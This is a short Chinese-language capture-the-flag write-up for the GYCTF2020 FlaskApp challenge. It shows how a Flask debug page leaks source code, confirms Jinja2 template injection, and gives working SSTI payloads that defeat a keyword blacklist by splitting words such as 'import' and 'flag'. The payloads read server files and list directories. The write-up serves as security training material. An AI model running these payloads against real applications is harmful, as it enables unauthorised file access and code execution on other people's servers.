[GYCTF2020]FlaskApp
[GYCTF2020]FlaskApp
1.首先看到提示说失败是成功之母,猜想到debug模式
2.加密应该是不可能加密错误的,所以在解密那块输入不属于base64格式的字符,即可进入异常错误的debug模式
3.进入后可以看到一串源码
看到熟悉的template就想到了ssti注入,先加密一个{{7+7}},再解密
({{7+7}})的base64加密
解密得到
由此可见,确实存在模板注入
4.看到代码中有waf,试试读下源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
读取到了waf里的过滤黑名单有flag system popen import eval chr request commands base * 过滤的都是整个的词,而不是正则匹配,只要中间添加一下成字符串拼接就可以绕过
5.读取一下目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
知道了flag的文件目录,读取一下(flag要记得拼接)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
base64加密解密后得到flag